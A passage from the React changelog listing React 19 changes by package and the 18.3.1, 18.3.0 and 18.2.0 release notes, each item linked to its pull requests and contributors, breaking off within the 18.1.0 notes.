[@acdlite](https://github.com/acdlite))  \n* Added an `initialValue` argument to `useDeferredValue()` hook ([\\#27500](https://github.com/facebook/react/pull/27500), [\\#27509](https://github.com/facebook/react/pull/27509), [\\#27512](https://github.com/facebook/react/pull/27512), [\\#27888](https://github.com/facebook/react/pull/27888), [\\#27550](https://github.com/facebook/react/pull/27550) by [@acdlite](https://github.com/acdlite))  \n* Support refs as props, warn on `element.ref` access ([\\#28348](https://github.com/facebook/react/pull/28348), [\\#28464](https://github.com/facebook/react/pull/28464), [\\#28731](https://github.com/facebook/react/pull/28731) by [@acdlite](https://github.com/acdlite))  \n* Support Custom Elements ([\\#22184](https://github.com/facebook/react/pull/22184), [\\#26524](https://github.com/facebook/react/pull/26524), [\\#26523](https://github.com/facebook/react/pull/26523), [\\#27511](https://github.com/facebook/react/pull/27511), [\\#24541](https://github.com/facebook/react/pull/24541) by [@josepharhar](https://github.com/josepharhar), [@sebmarkbage](https://github.com/sebmarkbage), [@gnoff](https://github.com/gnoff) and [@eps1lon](https://github.com/eps1lon))  \n* Add ref cleanup function ([\\#25686](https://github.com/facebook/react/pull/25686), [\\#28883](https://github.com/facebook/react/pull/28883), [\\#28910](https://github.com/facebook/react/pull/28910)  by [@sammy-SC](https://github.com/sammy-SC), [@jackpope](https://github.com/jackpope), and [@kassens](https://github.com/kassens))  \n* Sibling pre-rendering replaced by sibling pre-warming ([\\#26380](https://github.com/facebook/react/pull/26380), [\\#26549](https://github.com/facebook/react/pull/26549), [\\#30761](https://github.com/facebook/react/pull/30761), [\\#30800](https://github.com/facebook/react/pull/30800), [\\#30762](https://github.com/facebook/react/pull/30762), [\\#30879](https://github.com/facebook/react/pull/30879), [\\#30934](https://github.com/facebook/react/pull/30934), [\\#30952](https://github.com/facebook/react/pull/30952), [\\#31056](https://github.com/facebook/react/pull/31056), [\\#31452](https://github.com/facebook/react/pull/31452) by [@sammy-SC](https://github.com/sammy-SC), [@acdlite](https://github.com/acdlite), [@gnoff](https://github.com/gnoff), [@jackpope](https://github.com/jackpope), [@rickhanlonii](https://github.com/rickhanlonii))  \n* Don’t rethrow errors at the root ([\\#28627](https://github.com/facebook/react/pull/28627), [\\#28641](https://github.com/facebook/react/pull/28641) by [@sebmarkbage](https://github.com/sebmarkbage))  \n* Batch sync discrete, continuous, and default lanes ([\\#25700](https://github.com/facebook/react/pull/25700) by [@tyao1](https://github.com/tyao1))  \n* Switch `<Context>` to mean `<Context.Provider>` ([\\#28226](https://github.com/facebook/react/pull/28226) by [@gaearon](https://github.com/gaearon))  \n* Changes to *StrictMode*  \n  * Handle `info`, `group`, and `groupCollapsed` in *StrictMode* logging ([\\#25172](https://github.com/facebook/react/pull/25172) by [@timneutkens](https://github.com/timneutkens))  \n  * Refs are now attached/detached/attached in *StrictMode* ([\\#25049](https://github.com/facebook/react/pull/25049) by [@sammy-SC](https://github.com/sammy-SC))  \n  * Fix `useSyncExternalStore()` hydration in *StrictMode* ([\\#26791](https://github.com/facebook/react/pull/26791) by [@sophiebits](https://github.com/sophiebits))  \n  * Always trigger `componentWillUnmount()` in *StrictMode* ([\\#26842](https://github.com/facebook/react/pull/26842) by [@tyao1](https://github.com/tyao1))  \n  * Restore double invoking `useState()` and `useReducer()` initializer functions in *StrictMode* ([\\#28248](https://github.com/facebook/react/pull/28248) by [@eps1lon](https://github.com/eps1lon))  \n  * Reuse memoized result from first pass ([\\#25583](https://github.com/facebook/react/pull/25583) by [@acdlite](https://github.com/acdlite))  \n  * Fix `useId()` in *StrictMode* ([\\#25713](https://github.com/facebook/react/pull/25713) by [@gnoff](https://github.com/gnoff))  \n  * Add component name to *StrictMode* error messages ([\\#25718](https://github.com/facebook/react/pull/25718) by [@sammy-SC](https://github.com/sammy-SC))  \n* Add support for rendering BigInt ([\\#24580](https://github.com/facebook/react/pull/24580) by [@eps1lon](https://github.com/eps1lon))  \n* `act()` no longer checks `shouldYield` which can be inaccurate in test environments ([\\#26317](https://github.com/facebook/react/pull/26317) by [@acdlite](https://github.com/acdlite))  \n* Warn when keys are spread with props ([\\#25697](https://github.com/facebook/react/pull/25697), [\\#26080](https://github.com/facebook/react/pull/26080) by [@sebmarkbage](https://github.com/sebmarkbage) and [@kassens](https://github.com/kassens))  \n* Generate sourcemaps for production build artifacts ([\\#26446](https://github.com/facebook/react/pull/26446) by [@markerikson](https://github.com/markerikson))  \n* Improve stack diffing algorithm ([\\#27132](https://github.com/facebook/react/pull/27132) by [@KarimP](https://github.com/KarimP))  \n* Suspense throttling lowered from 500ms to 300ms ([\\#26803](https://github.com/facebook/react/pull/26803) by [@acdlite](https://github.com/acdlite))  \n* Lazily propagate context changes ([\\#20890](https://github.com/facebook/react/pull/20890) by [@acdlite](https://github.com/acdlite) and [@gnoff](https://github.com/gnoff))  \n* Immediately rerender pinged fiber ([\\#25074](https://github.com/facebook/react/pull/25074) by [@acdlite](https://github.com/acdlite))  \n* Move update scheduling to microtask ([\\#26512](https://github.com/facebook/react/pull/26512) by [@acdlite](https://github.com/acdlite))  \n* Consistently apply throttled retries ([\\#26611](https://github.com/facebook/react/pull/26611), [\\#26802](https://github.com/facebook/react/pull/26802) by [@acdlite](https://github.com/acdlite))  \n* Suspend Thenable/Lazy if it's used in React.Children ([\\#28284](https://github.com/facebook/react/pull/28284) by [@sebmarkbage](https://github.com/sebmarkbage))  \n* Detect infinite update loops caused by render phase updates ([\\#26625](https://github.com/facebook/react/pull/26625) by [@acdlite](https://github.com/acdlite))  \n* Update conditional hooks warning ([\\#29626](https://github.com/facebook/react/pull/29626) by [@sophiebits](https://github.com/sophiebits))  \n* Update error URLs to go to new docs ([\\#27240](https://github.com/facebook/react/pull/27240) by [@rickhanlonii](https://github.com/rickhanlonii))  \n* Rename the `react.element` symbol to `react.transitional.element` ([\\#28813](https://github.com/facebook/react/pull/28813) by [@sebmarkbage](https://github.com/sebmarkbage))  \n* Fix crash when suspending in shell during `useSyncExternalStore()` re-render ([\\#27199](https://github.com/facebook/react/pull/27199) by [@acdlite](https://github.com/acdlite))  \n* Fix incorrect “detected multiple renderers\" error in tests ([\\#22797](https://github.com/facebook/react/pull/22797) by [@eps1lon](https://github.com/eps1lon))  \n* Fix bug where effect cleanup may be called twice after bailout ([\\#26561](https://github.com/facebook/react/pull/26561) by [@acdlite](https://github.com/acdlite))  \n* Fix suspending in shell during discrete update ([\\#25495](https://github.com/facebook/react/pull/25495) by [@acdlite](https://github.com/acdlite))  \n* Fix memory leak after repeated setState bailouts ([\\#25309](https://github.com/facebook/react/pull/25309) by [@acdlite](https://github.com/acdlite))  \n* Fix `useSyncExternalStore()` dropped update when state is dispatched in render phase ([\\#25578](https://github.com/facebook/react/pull/25578) by [@pandaiolo](https://github.com/pandaiolo))  \n* Fix logging when rendering a lazy fragment ([\\#30372](https://github.com/facebook/react/pull/30372) by [@tom-sherman](https://github.com/tom-sherman))  \n* Remove string refs ([\\#25383](https://github.com/facebook/react/pull/25383), [\\#28322](https://github.com/facebook/react/pull/28322) by [@eps1lon](https://github.com/eps1lon) and [@acdlite](https://github.com/acdlite))  \n* Remove Legacy Context (\\#30319 by [@kassens](https://github.com/kassens))  \n* Remove `RefreshRuntime.findAffectedHostInstances` ([\\#30538](https://github.com/facebook/react/pull/30538) by [@gaearon](https://github.com/gaearon))  \n* Remove client caching from `cache()` API ([\\#27977](https://github.com/facebook/react/pull/27977), [\\#28250](https://github.com/facebook/react/pull/28250) by [@acdlite](https://github.com/acdlite) and [@gnoff](https://github.com/gnoff))  \n* Remove `propTypes` ([\\#28324](https://github.com/facebook/react/pull/28324), [\\#28326](https://github.com/facebook/react/pull/28326) by [@gaearon](https://github.com/gaearon))  \n* Remove `defaultProps` support, except for classes ([\\#28733](https://github.com/facebook/react/pull/28733) by [@acdlite](https://github.com/acdlite))  \n* Remove UMD builds ([\\#28735](https://github.com/facebook/react/pull/28735) by [@gnoff](https://github.com/gnoff))  \n* Remove delay for non-transition updates ([\\#26597](https://github.com/facebook/react/pull/26597) by [@acdlite](https://github.com/acdlite))  \n* Remove `createFactory` ([\\#27798](https://github.com/facebook/react/pull/27798) by [@kassens](https://github.com/kassens))\n\n#### React DOM\n\n* Adds Form Actions to handle form submission ([\\#26379](https://github.com/facebook/react/pull/26379), [\\#26674](https://github.com/facebook/react/pull/26674), [\\#26689](https://github.com/facebook/react/pull/26689), [\\#26708](https://github.com/facebook/react/pull/26708), [\\#26714](https://github.com/facebook/react/pull/26714),  [\\#26735](https://github.com/facebook/react/pull/26735), [\\#26846](https://github.com/facebook/react/pull/26846), [\\#27358](https://github.com/facebook/react/pull/27358),  [\\#28056](https://github.com/facebook/react/pull/28056) by [@sebmarkbage](https://github.com/sebmarkbage), [@acdlite](https://github.com/acdlite), and [@jupapios](https://github.com/jupapios))  \n* Add `useFormStatus()` hook to provide status information of the last form submission ([\\#26719](https://github.com/facebook/react/pull/26719), [\\#26722](https://github.com/facebook/react/pull/26722), [\\#26788](https://github.com/facebook/react/pull/26788),  [\\#29019](https://github.com/facebook/react/pull/29019), [\\#28728](https://github.com/facebook/react/pull/28728), [\\#28413](https://github.com/facebook/react/pull/28413) by [@acdlite](https://github.com/acdlite) and [@eps1lon](https://github.com/eps1lon))  \n* Support for Document Metadata. Adds `preinit`, `preinitModule`, `preconnect`, `prefetchDNS`, `preload`, and `preloadModule` APIs.  \n  * [\\#25060](https://github.com/facebook/react/pull/25060), [\\#25243](https://github.com/facebook/react/pull/25243), [\\#25388](https://github.com/facebook/react/pull/25388), [\\#25432](https://github.com/facebook/react/pull/25432), [\\#25436](https://github.com/facebook/react/pull/25436), [\\#25426](https://github.com/facebook/react/pull/25426), [\\#25500](https://github.com/facebook/react/pull/25500), [\\#25480](https://github.com/facebook/react/pull/25480), [\\#25508](https://github.com/facebook/react/pull/25508), [\\#25515](https://github.com/facebook/react/pull/25515), [\\#25514](https://github.com/facebook/react/pull/25514), [\\#25532](https://github.com/facebook/react/pull/25532), [\\#25536](https://github.com/facebook/react/pull/25536), [\\#25534](https://github.com/facebook/react/pull/25534), [\\#25546](https://github.com/facebook/react/pull/25546), [\\#25559](https://github.com/facebook/react/pull/25559), [\\#25569](https://github.com/facebook/react/pull/25569), [\\#25599](https://github.com/facebook/react/pull/25599), [\\#25689](https://github.com/facebook/react/pull/25689), [\\#26106](https://github.com/facebook/react/pull/26106), [\\#26152](https://github.com/facebook/react/pull/26152), [\\#26239](https://github.com/facebook/react/pull/26239), [\\#26237](https://github.com/facebook/react/pull/26237), [\\#26280](https://github.com/facebook/react/pull/26280), [\\#26154](https://github.com/facebook/react/pull/26154), [\\#26256](https://github.com/facebook/react/pull/26256), [\\#26353](https://github.com/facebook/react/pull/26353), [\\#26427](https://github.com/facebook/react/pull/26427), [\\#26450](https://github.com/facebook/react/pull/26450), [\\#26502](https://github.com/facebook/react/pull/26502),  [\\#26514](https://github.com/facebook/react/pull/26514), [\\#26531](https://github.com/facebook/react/pull/26531), [\\#26532](https://github.com/facebook/react/pull/26532), [\\#26557](https://github.com/facebook/react/pull/26557), [\\#26871](https://github.com/facebook/react/pull/26871), [\\#26881](https://github.com/facebook/react/pull/26881), [\\#26877](https://github.com/facebook/react/pull/26877), [\\#26873](https://github.com/facebook/react/pull/26873), [\\#26880](https://github.com/facebook/react/pull/26880), [\\#26942](https://github.com/facebook/react/pull/26942), [\\#26938](https://github.com/facebook/react/pull/26938), [\\#26940](https://github.com/facebook/react/pull/26940), [\\#26939](https://github.com/facebook/react/pull/26939), [\\#27030](https://github.com/facebook/react/pull/27030), [\\#27201](https://github.com/facebook/react/pull/27201), [\\#27212](https://github.com/facebook/react/pull/27212), [\\#27217](https://github.com/facebook/react/pull/27217), [\\#27218](https://github.com/facebook/react/pull/27218), [\\#27220](https://github.com/facebook/react/pull/27220), [\\#27224](https://github.com/facebook/react/pull/27224), [\\#27223](https://github.com/facebook/react/pull/27223), [\\#27269](https://github.com/facebook/react/pull/27269), [\\#27260](https://github.com/facebook/react/pull/27260), [\\#27347](https://github.com/facebook/react/pull/27347), [\\#27346](https://github.com/facebook/react/pull/27346), [\\#27361](https://github.com/facebook/react/pull/27361), [\\#27400](https://github.com/facebook/react/pull/27400), [\\#27541](https://github.com/facebook/react/pull/27541), [\\#27610](https://github.com/facebook/react/pull/27610), [\\#28110](https://github.com/facebook/react/pull/28110), [\\#29693](https://github.com/facebook/react/pull/29693), [\\#29732](https://github.com/facebook/react/pull/29732), [\\#29811](https://github.com/facebook/react/pull/29811), [\\#27586](https://github.com/facebook/react/pull/27586), [\\#28069](https://github.com/facebook/react/pull/28069) by [@gnoff](https://github.com/gnoff), [@sebmarkbage](https://github.com/sebmarkbage), [@acdlite](https://github.com/acdlite), [@kassens](https://github.com/kassens), [@sokra](https://github.com/sokra), [@sweetliquid](https://github.com/sweetliquid)  \n* Add `fetchPriority` to `<img>` and `<link>` ([\\#25927](https://github.com/facebook/react/pull/25927) by [@styfle](https://github.com/styfle))  \n* Add support for SVG `transformOrigin` prop ([\\#26130](https://github.com/facebook/react/pull/26130) by [@arav-ind](https://github.com/arav-ind))  \n* Add support for `onScrollEnd` event ([\\#26789](https://github.com/facebook/react/pull/26789) by [@devongovett](https://github.com/devongovett))  \n* Allow `<hr>` as child of `<select>` ([\\#27632](https://github.com/facebook/react/pull/27632) by [@SouSingh](https://github.com/SouSingh))  \n* Add support for Popover API ([\\#27981](https://github.com/facebook/react/pull/27981) by [@eps1lon](https://github.com/eps1lon))  \n* Add support for `inert` ([\\#24730](https://github.com/facebook/react/pull/24730) by [@eps1lon](https://github.com/eps1lon))  \n* Add support for `imageSizes` and `imageSrcSet` ([\\#22550](https://github.com/facebook/react/pull/22550) by [@eps1lon](https://github.com/eps1lon))  \n* Synchronously flush transitions in popstate events ([\\#26025](https://github.com/facebook/react/pull/26025), [\\#27559](https://github.com/facebook/react/pull/27559), [\\#27505](https://github.com/facebook/react/pull/27505), [\\#30759](https://github.com/facebook/react/pull/30759) by [@tyao1](https://github.com/tyao1) and [@acdlite](https://github.com/acdlite))  \n* `flushSync` exhausts queue even if something throws ([\\#26366](https://github.com/facebook/react/pull/26366) by [@acdlite](https://github.com/acdlite))  \n* Throw error if `react` and `react-dom` versions don’t match ([\\#29236](https://github.com/facebook/react/pull/29236) by [@acdlite](https://github.com/acdlite))  \n* Ensure `srcset` and `src` are assigned last on `<img>` instances ([\\#30340](https://github.com/facebook/react/pull/30340) by [@gnoff](https://github.com/gnoff))  \n* Javascript URLs are replaced with functions that throw errors ([\\#26507](https://github.com/facebook/react/pull/26507), [\\#29808](https://github.com/facebook/react/pull/29808) by [@sebmarkbage](https://github.com/sebmarkbage) and [@kassens](https://github.com/kassens))  \n* Treat toggle and beforetoggle as discrete events ([\\#29176](https://github.com/facebook/react/pull/29176) by [@eps1lon](https://github.com/eps1lon))  \n* Filter out empty `src` and `href` attributes (unless for `<a href=”” />`) ([\\#18513](https://github.com/facebook/react/pull/18513), [\\#28124](https://github.com/facebook/react/pull/28124) by [@bvaughn](https://github.com/bvaughn) and [@eps1lon](https://github.com/eps1lon))  \n* Fix unitless `scale` style property ([\\#25601](https://github.com/facebook/react/pull/25601) by [@JonnyBurger](https://github.com/JonnyBurger))  \n* Fix `onChange` error message for controlled `<select>` ([\\#27740](https://github.com/facebook/react/pull/27740) by [@Biki-das](https://github.com/Biki-das))  \n* Fix focus restore in child windows after element reorder ([\\#30951](https://github.com/facebook/react/pull/30951) by [@ling1726](https://github.com/ling1726))  \n* Remove `render`, `hydrate`, `findDOMNode`, `unmountComponentAtNode`, `unstable_createEventHandle`, `unstable_renderSubtreeIntoContainer`, and `unstable_runWithPriority`. Move `createRoot` and `hydrateRoot` to `react-dom/client`. ([\\#28271](https://github.com/facebook/react/pull/28271) by [@gnoff](https://github.com/gnoff))  \n* Remove `test-utils` ([\\#28541](https://github.com/facebook/react/pull/28541) by [@eps1lon](https://github.com/eps1lon))  \n* Remove `unstable_flushControlled` ([\\#26397](https://github.com/facebook/react/pull/26397) by [@kassens](https://github.com/kassens))  \n* Remove legacy mode ([\\#28468](https://github.com/facebook/react/pull/28468) by [@gnoff](https://github.com/gnoff))  \n* Remove `renderToStaticNodeStream()` ([\\#28873](https://github.com/facebook/react/pull/28873) by @gnoff)  \n* Remove `unstable_renderSubtreeIntoContainer` ([\\#29771](https://github.com/facebook/react/pull/29771) by [@kassens](https://github.com/kassens))\n\n#### React DOM Server\n\n* Stable release of React Server Components ([Many, many PRs](https://github.com/facebook/react/pulls?q=is%3Apr+is%3Aclosed+%5BFlight%5D+in%3Atitle+created%3A%3C2024-12-01+) by [@sebmarkbage](https://github.com/sebmarkbage), [@acdlite](https://github.com/acdlite), [@gnoff](https://github.com/gnoff), [@sammy-SC](https://github.com/sammy-SC), [@gaearon](https://github.com/gaearon), [@sophiebits](https://github.com/sophiebits), [@unstubbable](https://github.com/unstubbable), [@lubieowoce](https://github.com/lubieowoce))\n* Support Server Actions ([\\#26124](https://github.com/facebook/react/pull/26124), [\\#26632](https://github.com/facebook/react/pull/26632), [\\#27459](https://github.com/facebook/react/pull/27459) by [@sebmarkbage](https://github.com/sebmarkbage) and [@acdlite](https://github.com/acdlite))  \n* Changes to SSR  \n  * Add external runtime which bootstraps hydration on the client for binary transparency ([\\#25437](https://github.com/facebook/react/pull/25437), [\\#26169](https://github.com/facebook/react/pull/26169), [\\#25499](https://github.com/facebook/react/pull/25499) by [@MofeiZ](https://github.com/mofeiZ) and [@acdlite](https://github.com/acdlite))  \n  * Support subresource integrity for `bootstrapScripts` and `bootstrapModules` ([\\#25104](https://github.com/facebook/react/pull/25104) by [@gnoff](https://github.com/gnoff))  \n  * Fix null bytes written at text chunk boundaries ([\\#26228](https://github.com/facebook/react/pull/26228) by [@sophiebits](https://github.com/sophiebits))  \n  * Fix logic around attribute serialization ([\\#26526](https://github.com/facebook/react/pull/26526) by [@gnoff](https://github.com/gnoff))  \n  * Fix precomputed chunk cleared on Node 18 ([\\#25645](https://github.com/facebook/react/pull/25645) by [@feedthejim](https://github.com/feedthejim))  \n  * Optimize end tag chunks ([\\#27522](https://github.com/facebook/react/pull/27522) by [@yujunjung](https://github.com/yujunjung))  \n  * Gracefully handle suspending in DOM configs ([\\#26768](https://github.com/facebook/react/pull/26768) by [@sebmarkbage](https://github.com/sebmarkbage))  \n  * Check for nullish values on ReactCustomFormAction ([\\#26770](https://github.com/facebook/react/pull/26770) by [@sebmarkbage](https://github.com/sebmarkbage))  \n  * Preload `bootstrapModules`, `bootstrapScripts`, and update priority queue ([\\#26754](https://github.com/facebook/react/pull/26754), [\\#26753](https://github.com/facebook/react/pull/26753), [\\#27190](https://github.com/facebook/react/pull/27190), [\\#27189](https://github.com/facebook/react/pull/27189) by [@gnoff](https://github.com/gnoff))  \n  * Client render the nearest child or parent suspense boundary if replay errors or is aborted ([\\#27386](https://github.com/facebook/react/pull/27386) by [@sebmarkbage](https://github.com/sebmarkbage))  \n  * Don't bail out of flushing if we still have pending root tasks ([\\#27385](https://github.com/facebook/react/pull/27385) by [@sebmarkbage](https://github.com/sebmarkbage))  \n  * Ensure Resumable State is Serializable ([\\#27388](https://github.com/facebook/react/pull/27388) by [@sebmarkbage](https://github.com/sebmarkbage))  \n  * Remove extra render pass when reverting to client render ([\\#26445](https://github.com/facebook/react/pull/26445) by [@acdlite](https://github.com/acdlite))  \n  * Fix unwinding context during selective hydration ([\\#25876](https://github.com/facebook/react/pull/25876) by [@tyao1](https://github.com/tyao1))  \n  * Stop flowing and then abort if a stream is cancelled ([\\#27405](https://github.com/facebook/react/pull/27405) by [@sebmarkbage](https://github.com/sebmarkbage))  \n  * Pass cancellation reason to abort ([\\#27536](https://github.com/facebook/react/pull/27536) by [@sebmarkbage](https://github.com/sebmarkbage))  \n  * Add `onHeaders` entrypoint option ([\\#27641](https://github.com/facebook/react/pull/27641), [\\#27712](https://github.com/facebook/react/pull/27712) by [@gnoff](https://github.com/gnoff))  \n  * Escape `<style>` and `<script>` textContent to enable rendering inner content without dangerouslySetInnerHTML ([\\#28870](https://github.com/facebook/react/pull/28870), [\\#28871](https://github.com/facebook/react/pull/28871) by [@gnoff](https://github.com/gnoff))  \n  * Fallback to client replaying actions for Blob serialization ([\\#28987](https://github.com/facebook/react/pull/28987) by [@sebmarkbage](https://github.com/sebmarkbage))  \n  * Render Suspense fallback if boundary contains new stylesheet during sync update ([\\#28965](https://github.com/facebook/react/pull/28965) by [@gnoff](https://github.com/gnoff))  \n  * Fix header length tracking (\\#30327 by [@gnoff](https://github.com/gnoff))  \n  * Use `srcset` to trigger load event on mount (\\#30351 by [@gnoff](https://github.com/gnoff))  \n  * Don't perform work when closing stream (\\#30497 by [@gnoff](https://github.com/gnoff))  \n  * Allow aborting during render (\\#30488, [\\#30730](https://github.com/facebook/react/pull/30730) by [@gnoff](https://github.com/gnoff))  \n  * Start initial work immediately (\\#31079 by [@gnoff](https://github.com/gnoff))  \n  * A transition flowing into a dehydrated boundary no longer suspends when showing fallback ([\\#27230](https://github.com/facebook/react/pull/27230) by [@acdlite](https://github.com/acdlite))  \n  * Fix selective hydration triggers false update loop error ([\\#27439](https://github.com/facebook/react/pull/27439) by [@acdlite](https://github.com/acdlite))  \n  * Warn for Child Iterator of all types but allow Generator Components ([\\#28853](https://github.com/facebook/react/pull/28853) by [@sebmarkbage](https://github.com/sebmarkbage))  \n  * Include regular stack trace in serialized errors ([\\#28684](https://github.com/facebook/react/pull/28684), [\\#28738](https://github.com/facebook/react/pull/28738) by [@sebmarkbage](https://github.com/sebmarkbage))  \n  * Aborting early no longer infinitely suspends ([\\#24751](https://github.com/facebook/react/pull/24751) by [@sebmarkbage](https://github.com/sebmarkbage))  \n  * Fix hydration warning suppression in text comparisons ([\\#24784](https://github.com/facebook/react/pull/24784) by [@gnoff](https://github.com/gnoff))  \n  * Changes to error handling in SSR\n    * Add diffs to hydration warnings ([\\#28502](https://github.com/facebook/react/pull/28502), [\\#28512](https://github.com/facebook/react/pull/28512) by [@sebmarkbage](https://github.com/sebmarkbage))  \n    * Make Error creation lazy ([\\#24728](https://github.com/facebook/react/pull/24728) by [@sebmarkbage](https://github.com/sebmarkbage))  \n    * Remove recoverable error when a sync update flows into a dehydrated boundary ([\\#25692](https://github.com/facebook/react/pull/25692) by [@sebmarkbage](https://github.com/sebmarkbage))  \n    * Don't \"fix up\" mismatched text content with suppressedHydrationWarning ([\\#26391](https://github.com/facebook/react/pull/26391) by [@sebmarkbage](https://github.com/sebmarkbage))  \n    * Fix component stacks in errors ([\\#27456](https://github.com/facebook/react/pull/27456) by [@sebmarkbage](https://github.com/sebmarkbage))  \n    * Add component stacks to `onError` ([\\#27761](https://github.com/facebook/react/pull/27761), [\\#27850](https://github.com/facebook/react/pull/27850) by [@gnoff](https://github.com/gnoff) and [@sebmarkbage](https://github.com/sebmarkbage))  \n    * Throw hydration mismatch errors once ([\\#28502](https://github.com/facebook/react/pull/28502) by [@sebmarkbage](https://github.com/sebmarkbage))  \n* Add Bun streaming server renderer ([\\#25597](https://github.com/facebook/react/pull/25597) by [@colinhacks](https://github.com/colinhacks))  \n* Add nonce support to bootstrap scripts ([\\#26738](https://github.com/facebook/react/pull/26738) by [@danieltott](https://github.com/danieltott))  \n* Add `crossorigin` support to bootstrap scripts ([\\#26844](https://github.com/facebook/react/pull/26844) by [@HenriqueLimas](https://github.com/HenriqueLimas))  \n* Support `nonce` and `fetchpriority` in preload links ([\\#26826](https://github.com/facebook/react/pull/26826) by [@liuyenwei](https://github.com/liuyenwei))  \n* Add `referrerPolicy` to `ReactDOM.preload()` ([\\#27096](https://github.com/facebook/react/pull/27096) by [@styfle](https://github.com/styfle))  \n* Add server condition for `react/jsx-dev-runtime` ([\\#28921](https://github.com/facebook/react/pull/28921) by [@himself65](https://github.com/himself65))   \n* Export version ([\\#29596](https://github.com/facebook/react/pull/29596) by [@unstubbable](https://github.com/unstubbable))  \n* Rename the secret export of Client and Server internals ([\\#28786](https://github.com/facebook/react/pull/28786), [\\#28789](https://github.com/facebook/react/pull/28789) by [@sebmarkbage](https://github.com/sebmarkbage))  \n* Remove layout effect warning on server ([\\#26395](https://github.com/facebook/react/pull/26395) by [@rickhanlonii](https://github.com/rickhanlonii))  \n* Remove `errorInfo.digest` from `onRecoverableError` ([\\#28222](https://github.com/facebook/react/pull/28222) by [@gnoff](https://github.com/gnoff))\n\n#### ReactTestRenderer\n\n* Add deprecation error to `react-test-renderer` on web ([\\#27903](https://github.com/facebook/react/pull/27903), [\\#28904](https://github.com/facebook/react/pull/28904) by [@jackpope](https://github.com/jackpope) and [@acdlite](https://github.com/acdlite))  \n* Render with ConcurrentRoot on web ([\\#28498](https://github.com/facebook/react/pull/28498) by [@jackpope](https://github.com/jackpope))  \n* Remove `react-test-renderer/shallow` export ([\\#25475](https://github.com/facebook/react/pull/25475), [\\#28497](https://github.com/facebook/react/pull/28497) by [@sebmarkbage](https://github.com/sebmarkbage) and [@jackpope](https://github.com/jackpope))\n\n#### React Reconciler\n\n* Enable suspending commits without blocking render ([\\#26398](https://github.com/facebook/react/pull/26398), [\\#26427](https://github.com/facebook/react/pull/26427) by [@acdlite](https://github.com/acdlite))  \n* Remove `prepareUpdate` ([\\#26583](https://github.com/facebook/react/pull/26583), [\\#27409](http://github.com/facebook/react/pull/27409) by [@sebmarkbage](https://github.com/sebmarkbage) and [@sophiebits](https://github.com/sophiebits))\n\n#### React-Is\n\n* Enable tree shaking ([\\#27701](https://github.com/facebook/react/pull/27701) by [@markerikson](https://github.com/markerikson))  \n* Remove `isConcurrentMode` and `isAsyncMode` methods ([\\#28224](https://github.com/facebook/react/pull/28224) by @gaearon)\n\n#### useSyncExternalStore\n\n* Remove React internals access ([\\#29868](https://github.com/facebook/react/pull/29868) by [@phryneas](https://github.com/phryneas))  \n* Fix stale selectors keeping previous store references ([\\#25969](https://github.com/facebook/react/pull/25968) by [@jellevoost](https://github.com/jellevoost))\n\n## 18.3.1 (April 26, 2024)\n\n- Export `act` from `react` [f1338f](https://github.com/facebook/react/commit/f1338f8080abd1386454a10bbf93d67bfe37ce85)\n\n## 18.3.0 (April 25, 2024)\n\nThis release is identical to 18.2 but adds warnings for deprecated APIs and other changes that are needed for React 19.\n\nRead the [React 19 Upgrade Guide](https://react.dev/blog/2024/04/25/react-19-upgrade-guide) for more info.\n\n### React\n\n- Allow writing to `this.refs` to support string ref codemod [909071](https://github.com/facebook/react/commit/9090712fd3ca4e1099e1f92e67933c2cb4f32552)\n- Warn for deprecated `findDOMNode` outside StrictMode [c3b283](https://github.com/facebook/react/commit/c3b283964108b0e8dbcf1f9eb2e7e67815e39dfb)\n- Warn for deprecated `test-utils` methods [d4ea75](https://github.com/facebook/react/commit/d4ea75dc4258095593b6ac764289f42bddeb835c)\n- Warn for deprecated Legacy Context outside StrictMode [415ee0](https://github.com/facebook/react/commit/415ee0e6ea0fe3e288e65868df2e3241143d5f7f)\n- Warn for deprecated string refs outside StrictMode [#25383](https://github.com/facebook/react/pull/25383)\n- Warn for deprecated `defaultProps` for function components [#25699](https://github.com/facebook/react/pull/25699)\n- Warn when spreading `key` [#25697](https://github.com/facebook/react/pull/25697)\n- Warn when using `act` from `test-utils` [d4ea75](https://github.com/facebook/react/commit/d4ea75dc4258095593b6ac764289f42bddeb835c)\n\n### React DOM\n- Warn for deprecated `unmountComponentAtNode` [8a015b](https://github.com/facebook/react/commit/8a015b68cc060079878e426610e64e86fb328f8d)\n- Warn for deprecated `renderToStaticNodeStream` [#28874](https://github.com/facebook/react/pull/28874)\n\n## 18.2.0 (June 14, 2022)\n\n### React DOM\n\n* Provide a component stack as a second argument to `onRecoverableError`. ([@gnoff](https://github.com/gnoff) in [#24591](https://github.com/facebook/react/pull/24591))\n* Fix hydrating into `document` causing a blank page on mismatch. ([@gnoff](https://github.com/gnoff) in [#24523](https://github.com/facebook/react/pull/24523))\n* Fix false positive hydration errors with Suspense. ([@gnoff](https://github.com/gnoff) in [#24480](https://github.com/facebook/react/pull/24480) and  [@acdlite](https://github.com/acdlite) in [#24532](https://github.com/facebook/react/pull/24532))\n* Fix ignored `setState` in Safari when adding an iframe. ([@gaearon](https://github.com/gaearon) in [#24459](https://github.com/facebook/react/pull/24459))\n\n### React DOM Server\n\n* Pass information about server errors to the client. ([@salazarm](https://github.com/salazarm) and [@gnoff](https://github.com/gnoff) in [#24551](https://github.com/facebook/react/pull/24551) and [#24591](https://github.com/facebook/react/pull/24591))\n* Allow to provide a reason when aborting the HTML stream. ([@gnoff](https://github.com/gnoff) in [#24680](https://github.com/facebook/react/pull/24680))\n* Eliminate extraneous text separators in the HTML where possible. ([@gnoff](https://github.com/gnoff) in [#24630](https://github.com/facebook/react/pull/24630))\n* Disallow complex children inside `<title>` elements to match the browser constraints. ([@gnoff](https://github.com/gnoff) in [#24679](https://github.com/facebook/react/pull/24679))\n* Fix buffering in some worker environments by explicitly setting `highWaterMark` to `0`. ([@jplhomer](https://github.com/jplhomer) in [#24641](https://github.com/facebook/react/pull/24641))\n\n### Server Components (Experimental)\n\n* Add support for `useId()` inside Server Components. ([@gnoff](https://github.com/gnoff) in [#24172](https://github.com/facebook/react/pull/24172))\n\n## 18.1.0 (April 26, 2022)\n\n### React DOM\n\n* Fix the false positive warning about `react-dom/client` when using UMD bundle. ([@alireza-molaee](https://github.com/alireza-molaee) in [#24274](https://github.com/facebook/react/pull/24274))\n* Fix `suppressHydrationWarning` to work in production too. ([@gaearon](https://github.com/gaearon) in [#24271](https://github.com/facebook/react/pull/24271))\n* Fix `componentWillUnmount` firing twice inside of Suspense. ([@acdlite](https://github.com/acdlite) in [#24308](https://github.com/facebook/react/pull/24308))\n* Fix some transition updates being ignored. ([@acdlite](https://github.com/acdlite) in 